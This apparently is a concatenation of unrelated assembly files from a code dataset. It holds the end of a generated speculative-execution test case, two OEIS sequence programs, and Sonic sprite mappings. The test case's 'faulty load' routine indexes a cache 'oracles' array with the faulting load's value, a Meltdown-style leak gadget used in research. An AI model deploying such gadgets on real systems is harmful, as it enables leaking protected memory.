{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 31.842105
| 2,999
| 0.656198
|
ed950be458356ae84d8dc531cd25d045dde850c4
| 8,166
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1123.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1123.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1123.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1537c, %r11
nop
nop
nop
nop
and %r9, %r9
mov (%r11), %ax
nop
nop
nop
nop
and $36393, %r15
lea addresses_normal_ht+0x906c, %rcx
nop
nop
add %r13, %r13
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
nop
sub $45626, %r11
lea addresses_UC_ht+0x481c, %rsi
lea addresses_WC_ht+0x306c, %rdi
nop
nop
nop
add %r15, %r15
mov $88, %rcx
rep movsw
nop
cmp $25073, %rdi
lea addresses_WT_ht+0x182b4, %r13
nop
nop
nop
nop
nop
dec %rax
movl $0x61626364, (%r13)
nop
nop
nop
nop
nop
inc %rdi
lea addresses_normal_ht+0x271c, %rsi
lea addresses_WT_ht+0x6f1c, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $78, %rcx
rep movsq
nop
nop
nop
nop
nop
cmp $53162, %rsi
lea addresses_D_ht+0xf171, %rsi
lea addresses_normal_ht+0xd9d4, %rdi
nop
nop
and %r13, %r13
mov $97, %rcx
rep movsw
nop
and $54770, %rax
lea addresses_WT_ht+0x1ad1c, %r15
nop
nop
nop
xor $14526, %rdi
movw $0x6162, (%r15)
nop
nop
nop
nop
cmp $20762, %r15
lea addresses_A_ht+0x1241c, %rsi
lea addresses_WC_ht+0x5dfc, %rdi
nop
nop
nop
nop
nop
lfence
mov $0, %rcx
rep movsb
xor %r9, %r9
lea addresses_D_ht+0xb29c, %rsi
lea addresses_normal_ht+0xf71c, %rdi
nop
nop
nop
nop
nop
dec %r15
mov $86, %rcx
rep movsl
nop
nop
cmp $61555, %rax
lea addresses_normal_ht+0x151d6, %rax
nop
nop
xor %rsi, %rsi
mov $0x6162636465666768, %r15
movq %r15, (%rax)
nop
nop
nop
sub $34084, %r9
lea addresses_A_ht+0x1508c, %r15
nop
nop
nop
add $18174, %rax
mov (%r15), %rcx
nop
nop
nop
nop
nop
cmp $15944, %rdi
lea addresses_UC_ht+0x1da1c, %rax
nop
nop
nop
nop
dec %r15
movups (%rax), %xmm4
vpextrq $1, %xmm4, %rdi
nop
add %rcx, %rcx
lea addresses_WT_ht+0x16660, %rsi
nop
nop
nop
nop
nop
xor $10900, %rcx
mov $0x6162636465666768, %r15
movq %r15, (%rsi)
nop
nop
nop
nop
nop
sub $48430, %rcx
lea addresses_WT_ht+0x10868, %rsi
lea addresses_WT_ht+0x967a, %rdi
clflush (%rsi)
nop
nop
and $35578, %r11
mov $2, %rcx
rep movsb
nop
nop
nop
and $13105, %rax
lea addresses_UC_ht+0xe19c, %r11
nop
nop
nop
nop
inc %rdi
movb $0x61, (%r11)
nop
nop
sub %r9, %r9
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r15
push %r9
push %rax
push %rbx
push %rdx
// Store
lea addresses_RW+0x56ec, %r12
nop
nop
nop
nop
and $46435, %r15
movb $0x51, (%r12)
nop
and %rdx, %rdx
// Faulty Load
lea addresses_normal+0x1c01c, %r11
nop
and %rax, %rax
movups (%r11), %xmm0
vpextrq $0, %xmm0, %rdx
lea oracles, %r15
and $0xff, %rdx
shlq $12, %rdx
mov (%r15,%rdx,1), %rdx
pop %rdx
pop %rbx
pop %rax
pop %r9
pop %r15
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_RW'}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 4, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 1, 'same': True, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_UC_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 5, 'same': True, 'type': 'addresses_WC_ht'}, 'OP': 'REPM'}
{'src': {'congruent': 5, 'same': False, 'type': 'addresses_D_ht'}, 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 9, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'STOR'}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 31.287356
| 2,999
| 0.659687
|
b0db8129fd282c40c4dc63b98cd3fe985a31f2da
| 387
|
asm
|
Assembly
|
oeis/099/A099133.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/099/A099133.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/099/A099133.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A099133: 4^(n-1)*Fibonacci(n).
; Submitted by Christian Krause
; 0,1,4,32,192,1280,8192,53248,344064,2228224,14417920,93323264,603979776,3909091328,25300041728,163745628160,1059783180288,6859062771712,44392781971456,287316132233216,1859549040476160,12035254277636096,77893801758162944
mov $3,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,4
mul $1,$2
mul $3,4
lpe
mov $0,$2
| 25.8
| 221
| 0.749354
|
bea74842821ae9e33446c0bfdfa496833d0deca7
| 753
|
asm
|
Assembly
|
programs/oeis/016/A016760.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/016/A016760.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/016/A016760.asm
|
karttu/loda
|
9c3b0fc57b810302220c044a9d17db733c76a598
|
[
"Apache-2.0"
] | null | null | null |
; A016760: a(n) = (2*n+1)^8.
; 1,6561,390625,5764801,43046721,214358881,815730721,2562890625,6975757441,16983563041,37822859361,78310985281,152587890625,282429536481,500246412961,852891037441,1406408618241,2251875390625,3512479453921,5352009260481,7984925229121,11688200277601,16815125390625,23811286661761,33232930569601,45767944570401,62259690411361,83733937890625,111429157112001,146830437604321,191707312997281,248155780267521,318644812890625,406067677556641,513798374428641,645753531245761,806460091894081,1001129150390625,1235736291547681,1517108809906561,1853020188851841,2252292232139041,2724905250390625,3282116715437121,3936588805702081,4702525276151521,5595818096650401,6634204312890625,7837433594376961
mul $0,2
add $0,1
pow $0,8
mov $1,$0
| 94.125
| 685
| 0.887118
|
962aaa94fb693d633ec87735c90394987ee9bc84
| 614
|
asm
|
Assembly
|
oeis/246/A246438.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/246/A246438.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/246/A246438.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A246438: Numbers m such that A164349(m) = 0.
; Submitted by Christian Krause
; 0,2,3,5,7,8,9,11,12,14,16,17,19,20,22,24,25,26,28,29,31,33,35,36,38,40,41,42,44,45,47,49,50,52,53,55,57,58,59,61,62,64,65,67,68,70,72,73,74,76,77,79,81,82,84,85,87,89,90,91,93,94,96,98,100,101,103,105,106,107,109,110,112,114,115,117,118,120,122,123,124,126,127,129,131,132,134,136,137,138,140,141,143,145,146,148,149,151,153,154
mov $3,$0
mov $4,$0
lpb $3
mov $0,$4
sub $3,1
sub $0,$3
lpb $0
sub $0,2
mov $2,$0
max $2,0
seq $2,92323 ; 2^m - 1 appears 2^m times.
sub $0,$2
lpe
add $4,$0
lpe
mov $0,$4
| 29.238095
| 330
| 0.62215
|
f453f7a5338887eb2608af161d5778f0926dcace
| 12,145
|
asm
|
Assembly
|
_maps/Sonic.asm
|
NatsumiFox/AMPS-Sonic-1-2005
|
ac8730799f1b96291358c77a4b64529de94ce8a4
|
[
"Apache-2.0"
] | 2
|
2020-04-09T19:36:35.000Z
|
2021-01-05T14:20:17.000Z
|
_maps/Sonic.asm
|
NatsumiFox/AMPS-Sonic-1-2005
|
ac8730799f1b96291358c77a4b64529de94ce8a4
|
[
"Apache-2.0"
] | null | null | null |
_maps/Sonic.asm
|
NatsumiFox/AMPS-Sonic-1-2005
|
ac8730799f1b96291358c77a4b64529de94ce8a4
|
[
"Apache-2.0"
] | 1
|
2020-06-17T14:16:35.000Z
|
2020-06-17T14:16:35.000Z
|
; ---------------------------------------------------------------------------
; Sprite mappings - Sonic
; ---------------------------------------------------------------------------
dc.w byte_21292-Map_Sonic, byte_21293-Map_Sonic
dc.w byte_212A8-Map_Sonic, byte_212B8-Map_Sonic
dc.w byte_212C8-Map_Sonic, byte_212D8-Map_Sonic
dc.w byte_212E8-Map_Sonic, byte_212FD-Map_Sonic
dc.w byte_21308-Map_Sonic, byte_21313-Map_Sonic
dc.w byte_21328-Map_Sonic, byte_21333-Map_Sonic
dc.w byte_21343-Map_Sonic, byte_2135D-Map_Sonic
dc.w byte_2137C-Map_Sonic, byte_21391-Map_Sonic
dc.w byte_213AB-Map_Sonic, byte_213C0-Map_Sonic
dc.w byte_213DA-Map_Sonic, byte_213EF-Map_Sonic
dc.w byte_213FA-Map_Sonic, byte_21405-Map_Sonic
dc.w byte_2141A-Map_Sonic, byte_21425-Map_Sonic
dc.w byte_21435-Map_Sonic, byte_21454-Map_Sonic
dc.w byte_21473-Map_Sonic, byte_21488-Map_Sonic
dc.w byte_214A2-Map_Sonic, byte_214B7-Map_Sonic
dc.w byte_214D1-Map_Sonic, byte_214DC-Map_Sonic
dc.w byte_214E7-Map_Sonic, byte_214F2-Map_Sonic
dc.w byte_214FD-Map_Sonic, byte_21512-Map_Sonic
dc.w byte_21522-Map_Sonic, byte_21537-Map_Sonic
dc.w byte_21547-Map_Sonic, byte_21552-Map_Sonic
dc.w byte_2155D-Map_Sonic, byte_21568-Map_Sonic
dc.w byte_21573-Map_Sonic, byte_21588-Map_Sonic
dc.w byte_21593-Map_Sonic, byte_215A8-Map_Sonic
dc.w byte_215B3-Map_Sonic, byte_215B9-Map_Sonic
dc.w byte_215BF-Map_Sonic, byte_215C5-Map_Sonic
dc.w byte_215CB-Map_Sonic, byte_215D1-Map_Sonic
dc.w byte_215DC-Map_Sonic, byte_215E2-Map_Sonic
dc.w byte_215ED-Map_Sonic, byte_215F3-Map_Sonic
dc.w byte_215FE-Map_Sonic, byte_21613-Map_Sonic
dc.w byte_21628-Map_Sonic, byte_21638-Map_Sonic
dc.w byte_21648-Map_Sonic, byte_21658-Map_Sonic
dc.w byte_21663-Map_Sonic, byte_21673-Map_Sonic
dc.w byte_21683-Map_Sonic, byte_21693-Map_Sonic
dc.w byte_216A8-Map_Sonic, byte_216BD-Map_Sonic
dc.w byte_216D7-Map_Sonic, byte_216F1-Map_Sonic
dc.w byte_216FC-Map_Sonic, byte_2170C-Map_Sonic
dc.w byte_21717-Map_Sonic, byte_21727-Map_Sonic
dc.w byte_21732-Map_Sonic, byte_21742-Map_Sonic
dc.w byte_21752-Map_Sonic, byte_2176C-Map_Sonic
dc.w byte_21786-Map_Sonic, byte_21791-Map_Sonic
dc.w byte_217A1-Map_Sonic, byte_217A7-Map_Sonic
dc.w byte_217AD-Map_Sonic, byte_217B3-Map_Sonic
dc.w byte_217C3-Map_Sonic, byte_217D3-Map_Sonic
dc.w byte_217E3-Map_Sonic, byte_217F3-Map_Sonic
byte_21292: dc.b 0
byte_21293: dc.b 4 ; standing
dc.b $EC, 8, 0, 0, $F0
dc.b $F4, $D, 0, 3, $F0
dc.b 4, 8, 0, $B, $F0
dc.b $C, 8, 0, $E, $F8
byte_212A8: dc.b 3 ; waiting 1
dc.b $EC, 9, 0, 0, $F0
dc.b $FC, 9, 0, 6, $F0
dc.b $C, 8, 0, $C, $F8
byte_212B8: dc.b 3 ; waiting 2
dc.b $EC, 9, 0, 0, $F0
dc.b $FC, 9, 0, 6, $F0
dc.b $C, 8, 0, $C, $F8
byte_212C8: dc.b 3 ; waiting 3
dc.b $EC, 9, 0, 0, $F0
dc.b $FC, 9, 0, 6, $F0
dc.b $C, 8, 0, $C, $F8
byte_212D8: dc.b 3 ; looking up
dc.b $EC, $A, 0, 0, $F0
dc.b 4, 8, 0, 9, $F0
dc.b $C, 8, 0, $C, $F8
byte_212E8: dc.b 4 ; walking 1-1
dc.b $EB, $D, 0, 0, $EC
dc.b $FB, 9, 0, 8, $EC
dc.b $FB, 6, 0, $E, 4
dc.b $B, 4, 0, $14, $EC
byte_212FD: dc.b 2 ; walking 1-2
dc.b $EC, $D, 0, 0, $ED
dc.b $FC, $E, 0, 8, $F5
byte_21308: dc.b 2 ; walking 1-3
dc.b $ED, 9, 0, 0, $F3
dc.b $FD, $A, 0, 6, $F3
byte_21313: dc.b 4 ; walking 1-4
dc.b $EB, 9, 0, 0, $F4
dc.b $FB, 9, 0, 6, $EC
dc.b $FB, 6, 0, $C, 4
dc.b $B, 4, 0, $12, $EC
byte_21328: dc.b 2 ; walking 1-5
dc.b $EC, 9, 0, 0, $F3
dc.b $FC, $E, 0, 6, $EB
byte_21333: dc.b 3 ; walking 1-6
dc.b $ED, $D, 0, 0, $EC
dc.b $FD, $C, 0, 8, $F4
dc.b 5, 9, 0, $C, $F4
byte_21343: dc.b 5 ; walking 2-1
dc.b $EB, 9, 0, 0, $EB
dc.b $EB, 6, 0, 6, 3
dc.b $FB, 8, 0, $C, $EB
dc.b 3, 9, 0, $F, $F3
dc.b $13, 0, 0, $15, $FB
byte_2135D: dc.b 6 ; walking 2-2
dc.b $EC, 9, 0, 0, $EC
dc.b $EC, 1, 0, 6, 4
dc.b $FC, $C, 0, 8, $EC
dc.b 4, 9, 0, $C, $F4
dc.b $FC, 5, 0, $12, $C
dc.b $F4, 0, 0, $16, $14
byte_2137C: dc.b 4 ; walking 2-3
dc.b $ED, 9, 0, 0, $ED
dc.b $ED, 1, 0, 6, 5
dc.b $FD, $D, 0, 8, $F5
dc.b $D, 8, 0, $10, $FD
byte_21391: dc.b 5 ; walking 2-4
dc.b $EB, 9, 0, 0, $EB
dc.b $EB, 5, 0, 6, 3
dc.b $FB, $D, 0, $A, $F3
dc.b $B, 8, 0, $12, $F3
dc.b $13, 4, 0, $15, $FB
byte_213AB: dc.b 4 ; walking 2-5
dc.b $EC, 9, 0, 0, $EC
dc.b $EC, 1, 0, 6, 4
dc.b $FC, $D, 0, 8, $F4
dc.b $C, 8, 0, $10, $FC
byte_213C0: dc.b 5 ; walking 2-6
dc.b $ED, 9, 0, 0, $ED
dc.b $ED, 1, 0, 6, 5
dc.b $FD, 0, 0, 8, $ED
dc.b $FD, $D, 0, 9, $F5
dc.b $D, 8, 0, $11, $FD
byte_213DA: dc.b 4 ; walking 3-1
dc.b $F4, 7, 0, 0, $EB
dc.b $EC, 9, 0, 8, $FB
dc.b $FC, 4, 0, $E, $FB
dc.b 4, 9, 0, $10, $FB
byte_213EF: dc.b 2 ; walking 3-2
dc.b $F4, 7, 0, 0, $EC
dc.b $EC, $B, 0, 8, $FC
byte_213FA: dc.b 2 ; walking 3-3
dc.b $F4, 6, 0, 0, $ED
dc.b $F4, $A, 0, 6, $FD
byte_21405: dc.b 4 ; walking 3-4
dc.b $F4, 6, 0, 0, $EB
dc.b $EC, 9, 0, 6, $FB
dc.b $FC, 4, 0, $C, $FB
dc.b 4, 9, 0, $E, $FB
byte_2141A: dc.b 2 ; walking 3-5
dc.b $F4, 6, 0, 0, $EC
dc.b $F4, $B, 0, 6, $FC
byte_21425: dc.b 3 ; walking 3-6
dc.b $F4, 7, 0, 0, $ED
dc.b $EC, 0, 0, 8, $FD
dc.b $F4, $A, 0, 9, $FD
byte_21435: dc.b 6 ; walking 4-1
dc.b $FD, 6, 0, 0, $EB
dc.b $ED, 4, 0, 6, $F3
dc.b $F5, 4, 0, 8, $EB
dc.b $F5, $A, 0, $A, $FB
dc.b $D, 0, 0, $13, $FB
dc.b $FD, 0, 0, $14, $13
byte_21454: dc.b 6 ; walking 4-2
dc.b $FC, 6, 0, 0, $EC
dc.b $E4, 8, 0, 6, $F4
dc.b $EC, 4, 0, 9, $FC
dc.b $F4, 4, 0, $B, $EC
dc.b $F4, $A, 0, $D, $FC
dc.b $C, 0, 0, $16, $FC
byte_21473: dc.b 4 ; walking 4-3
dc.b $FB, 6, 0, 0, $ED
dc.b $F3, 4, 0, 6, $ED
dc.b $EB, $A, 0, 8, $FD
dc.b 3, 4, 0, $11, $FD
byte_21488: dc.b 5 ; walking 4-4
dc.b $FD, 6, 0, 0, $EB
dc.b $ED, 8, 0, 6, $F3
dc.b $F5, 4, 0, 9, $EB
dc.b $F5, $D, 0, $B, $FB
dc.b 5, 8, 0, $13, $FB
byte_214A2: dc.b 4 ; walking 4-5
dc.b $FC, 6, 0, 0, $EC
dc.b $F4, 4, 0, 6, $EC
dc.b $EC, $A, 0, 8, $FC
dc.b 4, 4, 0, $11, $FC
byte_214B7: dc.b 5 ; walking 4-6
dc.b $FB, 6, 0, 0, $ED
dc.b $EB, $A, 0, 6, $FD
dc.b $F3, 4, 0, $F, $ED
dc.b 3, 4, 0, $11, $FD
dc.b $B, 0, 0, $13, $FD
byte_214D1: dc.b 2 ; running 1-1
dc.b $EE, 9, 0, 0, $F4
dc.b $FE, $E, 0, 6, $EC
byte_214DC: dc.b 2 ; running 1-2
dc.b $EE, 9, 0, 0, $F4
dc.b $FE, $E, 0, 6, $EC
byte_214E7: dc.b 2 ; running 1-3
dc.b $EE, 9, 0, 0, $F4
dc.b $FE, $E, 0, 6, $EC
byte_214F2: dc.b 2 ; running 1-4
dc.b $EE, 9, 0, 0, $F4
dc.b $FE, $E, 0, 6, $EC
byte_214FD: dc.b 4 ; running 2-1
dc.b $EE, 9, 0, 0, $EE
